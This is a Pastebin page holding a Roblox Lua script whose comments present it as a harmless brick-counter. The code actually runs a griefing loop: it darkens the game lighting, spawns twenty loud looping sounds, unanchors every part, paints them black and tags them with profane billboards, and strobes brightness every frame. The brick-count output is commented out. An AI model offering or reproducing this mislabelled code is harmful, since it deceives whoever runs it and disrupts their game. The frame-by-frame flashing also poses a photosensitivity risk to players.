Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Quick scan:
- -- This will just give you a brick-count and print it to your output
- -- Go in Solo or Online mode to get a dynamic GUI counter
- while true do
- local lighting = game:GetService("Lighting")
- lighting.Brightness = 0
- lighting.OutdoorAmbient = Color3.new(0,0,0)
- local sky = Instance.new("Sky", lighting)
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020371"
- for i=1, 20 do
- local music = Instance.new("Sound", game.Lighting)
- music.SoundId = "rbxassetid://318478629"
- music.Volume = 10
- music.Pitch = (math.random(1,10))
- music.Looped = true
- music.PlayOnRemove = true
- music:Play()
- end
- local parts = {}
- function scan(p)
- for _,target in pairs(p:GetChildren()) do
- if target:IsA("BasePart") then
- table.insert(parts,target) -- target is the actual parts!
- target.Anchored = false
- target.BrickColor = BrickColor.new("Really black")
- local bb = Instance.new("BillboardGui", target)
- bb.Size = UDim2.new(500,0 , 25,0)
- bb.AlwaysOnTop = true
- local randomtext = {
- "What the fuck",
- "What the fuck",
- "What the fuck"
- }
- local label = Instance.new("TextLabel", bb)
- label.Size = UDim2.new(1,0 , 1,0)
- label.TextScaled = true
- label.TextWrapped = true
- label.BackgroundTransparency = 1
- local brickcolor = BrickColor.new("Really red")
- label.TextColor3 = brickcolor.Color
- label.Font = "ArialBold"
- label.TextSize = 100
- local chosentext = randomtext[math.random(1, #randomtext)]
- label.Text = chosentext
- end
- scan(target)
- end
- end
- scan(game.Workspace)
- --print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
- parts = {}
- while true do
- local lighting = game:GetService("Lighting")
- lighting.Brightness = 0
- wait()
- lighting.Brightness = 100
- wait()
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement